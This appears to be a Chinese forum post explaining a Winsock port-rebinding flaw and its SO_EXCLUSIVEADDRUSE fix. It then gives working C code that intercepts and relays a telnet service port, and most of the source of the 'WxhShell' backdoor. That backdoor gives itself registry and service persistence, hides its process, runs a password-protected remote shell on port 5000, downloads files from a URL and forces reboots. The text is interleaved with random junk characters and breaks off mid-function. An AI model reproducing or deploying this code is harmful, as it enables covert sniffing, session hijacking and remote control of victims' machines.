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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X'88W-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N8iLI`  
2?{'(i ay  
  saddr.sin_family = AF_INET; Q5b9q$L$  
e%lxRN"b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =4$ErwI_dm  
iB|htH'T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ci4; e  
U&ytZ7iB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #jh5%@  
UM/!dt}DnF  
  这意味着什么?意味着可以进行如下的攻击: {;N2 &S o  
u M\5GK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .DI?-=p|_#  
osl\j]U8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2qot(Zs1i  
,+ 5:}hR+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d'"|Qg_'  
 wX5q=I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  58d[>0Xa[g  
B Dp")[l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 inFS99DKx  
l/,la]!T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `^] D;RfE  
@C<ofg3E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &)jq3  
_RIlGs\.  
  #include i),bAU!+m  
  #include ap8q`a{j^  
  #include 4l7 Ny\J  
  #include    zn>+ \  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d@p#{ -  
  int main() ZS%W/.?  
  { ;{aGEOP'U  
  WORD wVersionRequested; :}yT?LIyP  
  DWORD ret; Af\  
  WSADATA wsaData; d@ >i=l [  
  BOOL val; 1Au+X3   
  SOCKADDR_IN saddr; Xo:Mar  
  SOCKADDR_IN scaddr; ! Sw=ns7  
  int err; OIJT~Z}  
  SOCKET s; v$D U q+  
  SOCKET sc; ~8yh,U  
  int caddsize; tXqX[Td`0g  
  HANDLE mt; 51`&%V{daL  
  DWORD tid;   }h=PW'M{  
  wVersionRequested = MAKEWORD( 2, 2 ); M\/hK2J# #  
  err = WSAStartup( wVersionRequested, &wsaData ); ]BUirJ,2  
  if ( err != 0 ) { eXMIRus(  
  printf("error!WSAStartup failed!\n"); -r_,#LR!l  
  return -1; x. #E3xI  
  } gXlcB~!  
  saddr.sin_family = AF_INET; F(#?-MCs  
   $btu=_|f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cS'{h  
EK5$z>k>m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0>8w On  
  saddr.sin_port = htons(23); uorX;yekC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %S"85#R5E  
  { tRpY+s~Fq  
  printf("error!socket failed!\n"); araXE~Ac  
  return -1; 7f}uRXBV$A  
  } 8]Tv1Wc  
  val = TRUE; J jm={+@+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eZ+6U`^t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w|6/i/X  
  { q" f65d4c  
  printf("error!setsockopt failed!\n"); lcm3wJ'w  
  return -1; pY@QR?F\  
  } !6 L!%Oi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1f<R,>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :dh; @kp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &92/qRh7  
+]nIr'V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oX8EY l  
  { mEbI\!}H0  
  ret=GetLastError(); ^?Mp(o  
  printf("error!bind failed!\n"); @lF?+/=$  
  return -1; D*Zj oU  
  } Ku%tM7ad  
  listen(s,2); yKoZj   
  while(1) _ ,s^  
  { _FYA? d}  
  caddsize = sizeof(scaddr); Hf@4p'  
  //接受连接请求 .whi0~i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uE41"?GS  
  if(sc!=INVALID_SOCKET) ]c~yMA+]FZ  
  { Uffwzd!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *d3-[HwZCL  
  if(mt==NULL) ",.f   
  { D>[Sib/@  
  printf("Thread Creat Failed!\n"); ^hiY6N &  
  break; K<wFr-z  
  } |~e"i<G#  
  } w8w0:@0(  
  CloseHandle(mt); p X{wEc6}  
  } V:Gy pY)  
  closesocket(s); [9${4=Kq  
  WSACleanup(); J?w_DQa  
  return 0; XZ~kXE;B(  
  }   .Pponmy  
  DWORD WINAPI ClientThread(LPVOID lpParam) XQ]vJQYIR  
  { Q $}#&  
  SOCKET ss = (SOCKET)lpParam; 9gcW;  
  SOCKET sc; XZb=;tYo  
  unsigned char buf[4096]; o6px1C:  
  SOCKADDR_IN saddr; 6qHD&bv\%C  
  long num; y\Aa;pL)RQ  
  DWORD val; < j:\;mi;  
  DWORD ret; 12z!{k7N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oj - `G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   le\-h'D  
  saddr.sin_family = AF_INET; *,4rYb7I w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $G`CXhbl  
  saddr.sin_port = htons(23); V ml 6\X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wn5OgXxG<  
  { "D _r</b  
  printf("error!socket failed!\n"); ?"mZb#%  
  return -1; K2zln_W  
  } ywAvqT,  
  val = 100; (s,&,I=@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KU,SAcfR7  
  { c$ !?4z_.  
  ret = GetLastError(); Qc3d<{7\~  
  return -1; 7b[s W|{  
  } SG)Fk *1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C '( Y  
  { bE/|&8  
  ret = GetLastError(); ; R}>SS'  
  return -1; ^)~Smj^d  
  } `!vqT 3p,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `FPQOa*%3  
  { 5G}4z>-]F)  
  printf("error!socket connect failed!\n"); }ouGxs+^[  
  closesocket(sc); {&n- @$?  
  closesocket(ss); zsXgpnlHT  
  return -1; F<,pAxl~@  
  } 3p=Xv%xd  
  while(1) E:x@O8F  
  { ks0Q+YW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?Fl}@EA#M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n?fy@R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BA c+T  
  num = recv(ss,buf,4096,0); KMj\A d  
  if(num>0) ->b5"{t  
  send(sc,buf,num,0); v`Jt+?I  
  else if(num==0) wHj 1+W  
  break; $&as5z8  
  num = recv(sc,buf,4096,0); o1ZVEvp  
  if(num>0) %^@l5h.lqB  
  send(ss,buf,num,0); ^YLC{V  
  else if(num==0) 5v)^4( )  
  break; ,%TBW,>  
  } B?z2@,  
  closesocket(ss); o}v<~v(  
  closesocket(sc); ~#sD2b` 0  
  return 0 ; `q-+r1u  
  } LeLUt<4~  
v0\l~_|H  
l<+ [l$0#  
========================================================== ]eKuR"ob0  
qS vV |G  
下边附上一个代码,,WXhSHELL :hZM$4  
]o<]A[<  
========================================================== BYq80Vk%@  
mKZzSd)p  
#include "stdafx.h" eTa_RO,x  
,ErfTg&^  
#include <stdio.h> y|6n:<o  
#include <string.h> .G[/4h :.  
#include <windows.h> G ?$ @6  
#include <winsock2.h> ='h2z"}\Bn  
#include <winsvc.h> NfvPE]S  
#include <urlmon.h> !q2zuxq!R  
=x8[%+  
#pragma comment (lib, "Ws2_32.lib") 61S;M8tNv  
#pragma comment (lib, "urlmon.lib") c*)T4n[e  
% "(&a'B  
#define MAX_USER   100 // 最大客户端连接数 ~bZ$ d{o^  
#define BUF_SOCK   200 // sock buffer /TpTR-\I0  
#define KEY_BUFF   255 // 输入 buffer *D?_,s  
"U}kp#)  
#define REBOOT     0   // 重启 <N vw*yA  
#define SHUTDOWN   1   // 关机 Vgm'&YT  
IEhD5?  
#define DEF_PORT   5000 // 监听端口 j L|6i-?!  
f!x9%  
#define REG_LEN     16   // 注册表键长度 b(0<,r8  
#define SVC_LEN     80   // NT服务名长度 .$&^yp  
ai_ve[A  
// 从dll定义API Pf[E..HF*d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ol>q(-ea  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PFJ$Ia|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3+6Ed;P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <+k&8^:bi  
EV?}oh"x  
// wxhshell配置信息 H>C bMz1u  
struct WSCFG { =Wcvb?;*  
  int ws_port;         // 监听端口 }p~2lOI  
  char ws_passstr[REG_LEN]; // 口令 NI s7v  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mh)? A/e  
  char ws_regname[REG_LEN]; // 注册表键名 D~C'1C&W  
  char ws_svcname[REG_LEN]; // 服务名 OS z71;j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cyCh^- <l@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uV5uZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zgwez$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $:~;U xh=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \l59/ZFan  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uN`/&_$c  
q^aDZzx,z  
}; YbZbA >|  
|[.-pA^  
// default Wxhshell configuration 8%9 C<+.R  
struct WSCFG wscfg={DEF_PORT, 17s~mqy  
    "xuhuanlingzhe", ^ }7O|Y7  
    1, f!'i5I]  
    "Wxhshell", fp [gKRSF  
    "Wxhshell", 4'O,xC  
            "WxhShell Service", bT ,_=7F  
    "Wrsky Windows CmdShell Service", ?\o~P  
    "Please Input Your Password: ", Xq135/d  
  1, cwmS4^zt8  
  "http://www.wrsky.com/wxhshell.exe", ~XOmxz0  
  "Wxhshell.exe" v #+ECx  
    }; tAv3+  
I\mF dE  
// 消息定义模块 ,Wlt[T(.;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /JR+WmO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5NhFjPETr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %66="1z0@  
char *msg_ws_ext="\n\rExit."; t /+;#-  
char *msg_ws_end="\n\rQuit.";  cyl%p$  
char *msg_ws_boot="\n\rReboot..."; *{ rorir  
char *msg_ws_poff="\n\rShutdown..."; +bznKy!  
char *msg_ws_down="\n\rSave to "; 1=)M15  
kq}byv}3I  
char *msg_ws_err="\n\rErr!"; tpJA~!mG3  
char *msg_ws_ok="\n\rOK!"; w/6X9d  
{'IO  
char ExeFile[MAX_PATH]; 11oNlgY&  
int nUser = 0; %,@pV%2  
HANDLE handles[MAX_USER]; _*o <<C\E  
int OsIsNt; Xz^nm\  
^^b'tP1>  
SERVICE_STATUS       serviceStatus; .a@12J(I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V%8(zt  
mUg :<.^  
// 函数声明 eh9 ?GUr5  
int Install(void); \Bo$ 3  
int Uninstall(void); wK(]E%\  
int DownloadFile(char *sURL, SOCKET wsh); =.3#l@E!C  
int Boot(int flag); 'n'>+W:  
void HideProc(void); `p()ko  
int GetOsVer(void); c1Ks{%iA  
int Wxhshell(SOCKET wsl); Q!+AiSTU  
void TalkWithClient(void *cs); /yI4;:/  
int CmdShell(SOCKET sock); A6]:BuP;c  
int StartFromService(void); EZ<:>V-_D  
int StartWxhshell(LPSTR lpCmdLine); CTNL->  
,U\ s89  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !UoA6C:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nm5DNpHk  
;I4vPh5Q  
// 数据结构和表定义 e8vy29\S  
SERVICE_TABLE_ENTRY DispatchTable[] = KuP#i]Na  
{ JQ%hh&M\0  
{wscfg.ws_svcname, NTServiceMain}, G0 )[(s  
{NULL, NULL} V ?Jy  
}; $S#Z>d*1!  
4A2}3$c9  
// 自我安装 Rt#QW*h\|i  
int Install(void) F!X0Wo=  
{ s;vt2>;q+e  
  char svExeFile[MAX_PATH]; Ih.+-!w  
  HKEY key; ^77W#{Zs  
  strcpy(svExeFile,ExeFile); uyYV_Q0~;  
j.&dHtp  
// 如果是win9x系统,修改注册表设为自启动 M {jXo%C  
if(!OsIsNt) { uMQI Aapb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dL0Q8d\^T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6&$.E! z  
  RegCloseKey(key); B/ 4M;G~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0b{jox\!B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ps<E f  
  RegCloseKey(key); .)tv'V/  
  return 0; Al^tM0T^  
    } A$@;Q5/2  
  } JK! (\Ae.  
} > Z+*tq  
else { Y+"1'W  
C!+D]7\j  
// 如果是NT以上系统,安装为系统服务 pq) =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .) Ej#mk  
if (schSCManager!=0) =2 HY]H  
{ ,?8a3%  
  SC_HANDLE schService = CreateService TQ(q [:>  
  ( IH`Q=Pj  
  schSCManager, FDl/7P`b(  
  wscfg.ws_svcname, C'I&<  
  wscfg.ws_svcdisp, \ *t\=4  
  SERVICE_ALL_ACCESS, DSLX/u o1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XY'=_5t  
  SERVICE_AUTO_START, fJ*^4  
  SERVICE_ERROR_NORMAL, (9u`(|x  
  svExeFile, d ~ M;  
  NULL, 0T`Qoo>u  
  NULL, E>_Rsw *  
  NULL, 4~ }NB%,  
  NULL, ZD&F ,2v  
  NULL $V87=_}  
  ); 6u"wgX]H  
  if (schService!=0)  :tZsSK  
  { dUv@u !}B  
  CloseServiceHandle(schService); J,W $\V]p  
  CloseServiceHandle(schSCManager); $ +WXM$N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X;!*D  
  strcat(svExeFile,wscfg.ws_svcname); s&E,$|80  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }uIQ@f`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?2"g*Bak  
  RegCloseKey(key); je mb/ :E  
  return 0; 5ngs1ZF@  
    } 2 ,nhs,FZ  
  } Ic&~iqQ  
  CloseServiceHandle(schSCManager); uj3`M9  
} @|:fm() <  
} 8|Tqk,/pD  
:gsRJy1  
return 1; WXxnOLJr  
} 2Z{?3mAb;  
,WE2.MWR  
// 自我卸载 u{4P)DIQ  
int Uninstall(void) g"/n95k<  
{ ajycYk9<m  
  HKEY key; }5fd:Bm;  
f 6I)c$]Q  
if(!OsIsNt) { oZ2:%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NV./p`k  
  RegDeleteValue(key,wscfg.ws_regname); Hdyl]q-(P  
  RegCloseKey(key); x_7$g<n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gxO~44"  
  RegDeleteValue(key,wscfg.ws_regname); 0o8`Y  
  RegCloseKey(key); aA?Qr&]M  
  return 0; 7u"Q1n(h/  
  } %i\rw*f  
} $'\kK,=  
} 3rRIrrYO  
else { P.Tnq  
e;vI XJE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]pm/5|  
if (schSCManager!=0) uYebRCdR  
{ boiP_*|MY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b,Eq-Z;  
  if (schService!=0) zYM2`(Z 5B  
  { qq!ZYWy2  
  if(DeleteService(schService)!=0) { h>V6}(~;.  
  CloseServiceHandle(schService); l=xG<)Okb  
  CloseServiceHandle(schSCManager); c7+6[y DVE  
  return 0; wbWC &X.  
  } ll5;09  
  CloseServiceHandle(schService); \8#[AD*@s2  
  } al#(<4sJ  
  CloseServiceHandle(schSCManager); f8-`bb  
} 1V`-D8-?  
} mZU L}[xf  
5"h4XINZ  
return 1; 6KGT?d  
} -|'@ :cIZ  
-Jd7  
// 从指定url下载文件 7B0`.E^~  
int DownloadFile(char *sURL, SOCKET wsh) W)1nc"WqY  
{ ^X_ ;ZLg.  
  HRESULT hr; OX.5o lb  
char seps[]= "/"; kVLZdXn,q2  
char *token; | K|AUI  
char *file; y3j$?o M  
char myURL[MAX_PATH]; nO yG7:  
char myFILE[MAX_PATH]; JA{kifu0+  
t!wbT79/  
strcpy(myURL,sURL); pOK=o$1V8  
  token=strtok(myURL,seps); ;ZB=@@l(  
  while(token!=NULL) Vw ;iE=L  
  { ot7f?tF2<J  
    file=token; to13&#o  
  token=strtok(NULL,seps); !9gpuS[  
  } ^%*qe5J  
y a$yRsd`  
GetCurrentDirectory(MAX_PATH,myFILE); SkV pZh  
strcat(myFILE, "\\"); vgc~%k62c  
strcat(myFILE, file); Yjo$vQi  
  send(wsh,myFILE,strlen(myFILE),0); <nJGJ5JJ  
send(wsh,"...",3,0); QH><! sa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VP< zOk7  
  if(hr==S_OK) 6MOwn*%5k  
return 0; 2L^/\!V#  
else e3n^$'/\r  
return 1; &LM@xt4"^[  
VXCB.C"  
} 53/$8=  
ZWGelZP~  
// 系统电源模块 W+u@UJi  
int Boot(int flag) +;!^aNJ,  
{ eAO@B  
  HANDLE hToken; G>^= Bm_$  
  TOKEN_PRIVILEGES tkp; bh" Caz.(t  
zk }SEt-  
  if(OsIsNt) { 5[\g87 \  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bLl ?!G.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /E/6(c  
    tkp.PrivilegeCount = 1; 6&+dpr&c~=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^Zs ^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =l2 @'YQ  
if(flag==REBOOT) { {B=64,D^7R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qv,ORm h5  
  return 0; Wv3p!zW3I  
} n<EIu  
else { Af]BR_-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  l  
  return 0; "/O07l1Q<  
} {uwPP2YD,  
  } gT[]"ZT7  
  else { 6jMc|he  
if(flag==REBOOT) { gRs @T<k2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %>nAPO+e  
  return 0; F6{ O  
} &: LE]w  
else { /W>?p@j+K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aIT0t0.  
  return 0; q8_E_s-U,  
} p8]XNe  
} W;Dik%^tg  
z__{6"^  
return 1; ^Gbcs l~Gj  
} 9XUYy2{G  
Fbotn(\h@  
// win9x进程隐藏模块 %N\45nYU:  
void HideProc(void) E0i!|H  
{ 5:+x7Ed  
"kt7m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =H-BsX?P  
  if ( hKernel != NULL ) Gf7r!Ur;g  
  { 3-y2i/4}$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V 7 p{'C   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rk+s[Qi~  
    FreeLibrary(hKernel); 9~ V(wG  
  } (CAV Oed  
,o2x,I  
return; ).Z U0fV  
} U2Siw   
"V:RKH`  
// 获取操作系统版本 uf )!SxT  
int GetOsVer(void) Ayw {I#"  
{ Ng&K5Z/  
  OSVERSIONINFO winfo; d<] eJ{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c8l\1ce?7  
  GetVersionEx(&winfo); laCVj6Rk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zz|et206  
  return 1; 22d>\u+c  
  else Yg!fEopLb  
  return 0; GOCe&?  
} k:U%#rb;  
pcQzvLk  
// 客户端句柄模块 ;Uypv|xX  
int Wxhshell(SOCKET wsl)  fsKZ  
{  ^AwDZX  
  SOCKET wsh; @ uL4'@Ej  
  struct sockaddr_in client; Rs]Y/9F;{  
  DWORD myID; )x,-O#"A  
5p.#nc!;y  
  while(nUser<MAX_USER) lA,[&  
{ O2Y1D`&5  
  int nSize=sizeof(client); 9j5k=IXg#a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y>i Qp/k:  
  if(wsh==INVALID_SOCKET) return 1; %B>>J%  
#3C] "  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /GP:W6:6z6  
if(handles[nUser]==0) LqQ&4I  
  closesocket(wsh); V'N]u (^  
else \ 0F ey9c  
  nUser++; 3 lKBwjW  
  } CTB qX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 30cb+)h(  
%Bnn\{Az  
  return 0; 0#sf,ja>  
} bhjJH,%_>  
x1+V  
// 关闭 socket jJkc vC8d  
void CloseIt(SOCKET wsh) 2G/CN"  
{ @oRo6Y<-  
closesocket(wsh); f2P2wt.$  
nUser--; DRu#vC  
ExitThread(0); Gd2t^tc  
} b9 l%5a  
8(@(G_skp  
// 客户端请求句柄 =6, w~|W  
void TalkWithClient(void *cs) DoEN`K\U  
{ Cm6%wAzC  
M;X}v#l|XI  
  SOCKET wsh=(SOCKET)cs; VPDd*32HC  
  char pwd[SVC_LEN]; G/Yqvu,2!  
  char cmd[KEY_BUFF]; - [vH4~  
char chr[1]; 2,6|l.WFpE  
int i,j; CVgVyy^  
OYIH**?  
  while (nUser < MAX_USER) { 4:s!mHcz  
.Nd_p{   
if(wscfg.ws_passstr) { $0 ~_)$i :  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^,fMs:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u3vw[k  
  //ZeroMemory(pwd,KEY_BUFF); `Yo!sgPO\  
      i=0; hRktvO)K  
  while(i<SVC_LEN) { *edhJUT  
Z=144n 1  
  // 设置超时 D0p>Q^w  
  fd_set FdRead; JN<u4\e{-&  
  struct timeval TimeOut; X./7b{Pax  
  FD_ZERO(&FdRead); &Y8S! W@4  
  FD_SET(wsh,&FdRead); d+6-ten  
  TimeOut.tv_sec=8; qJJ~#W)  
  TimeOut.tv_usec=0; &Ht5!zuW,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V53iWWaFe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lT- LOu|  
!-|{B3"6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fJOA5(  
  pwd=chr[0]; &n2dL->*#  
  if(chr[0]==0xd || chr[0]==0xa) { 8(GJz ~y  
  pwd=0; -W"  w  
  break; 5PT*b}g@  
  } 5l /EZ\q  
  i++; w;DRC5V>  
    } }Lb[`H,}A  
~i9'9PHX@  
  // 如果是非法用户,关闭 socket uKpWb1(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OR-fC  
} /U,;]^  
E<4'4)FHuQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @]:GTrs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^U{SUWl  
H.s:a#l?  
while(1) { \XgpwvO".  
%b3s|o3An  
  ZeroMemory(cmd,KEY_BUFF); JQ"w{O  
"s rRlu  
      // 自动支持客户端 telnet标准   |7E1yu  
  j=0;  jf~-;2  
  while(j<KEY_BUFF) { 8\_YP3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #bdSH)V  
  cmd[j]=chr[0]; -ZE]VO*F  
  if(chr[0]==0xa || chr[0]==0xd) {  C\5"Kb  
  cmd[j]=0; :x@j)&  
  break; ZE0D=  
  } =MokbK2  
  j++; GMYfcZ/,K  
    } & 0%x6vea  
~{gV`nm=J  
  // 下载文件 ^Y+P(o$HM  
  if(strstr(cmd,"http://")) { vvcA-k?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zQyt1&!  
  if(DownloadFile(cmd,wsh)) T!Eyq,]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "~ eF%}.  
  else  `\#J&N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {G4{4D }  
  } yM*f}S/ (  
  else { rIZ^ix-N  
).9m6.%Uk  
    switch(cmd[0]) { ^|ln q.j  
  4 .d~u@=  
  // 帮助 V /,F6  
  case '?': { N3QDPQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f" g-Hbl5  
    break; t7qY!S (  
  } 8UN7(J  
  // 安装 I`FqZw  
  case 'i': { QcG-/_,'}  
    if(Install()) }2~$"L,_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7C@%1kL  
    else "3X~BdH&J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KO5! (vi@  
    break; k_hs g6Ur.  
    } Q"=$.M~  
  // 卸载 a!H t81gj  
  case 'r': { [BzwQ 4  
    if(Uninstall()) YVS~|4hu?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SdQ"S-H  
    else rq_0"A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t*{BN>B  
    break; r*XEne  
    } i*ErxWzu  
  // 显示 wxhshell 所在路径 aX{i   
  case 'p': { g6~B|?!  
    char svExeFile[MAX_PATH]; 'n4$dv% q  
    strcpy(svExeFile,"\n\r"); X4Y!Z/b  
      strcat(svExeFile,ExeFile); }0z]sYI  
        send(wsh,svExeFile,strlen(svExeFile),0); t }q \.  
    break; AI\|8[kf0  
    } we;QrS(Hi  
  // 重启 c&a.<e3mL  
  case 'b': { b?{\t;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); < k?jt  
    if(Boot(REBOOT)) ?kKr/f4N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>=& 2Z2?  
    else { Hklgf  
    closesocket(wsh); >%{H>?Hn  
    ExitThread(0); (nLT 8{>0  
    } `M.\D  
    break; t,vj)|:  
    } S1D=' k]  
  // 关机 65||]l  
  case 'd': { rf]'V Jg#3  
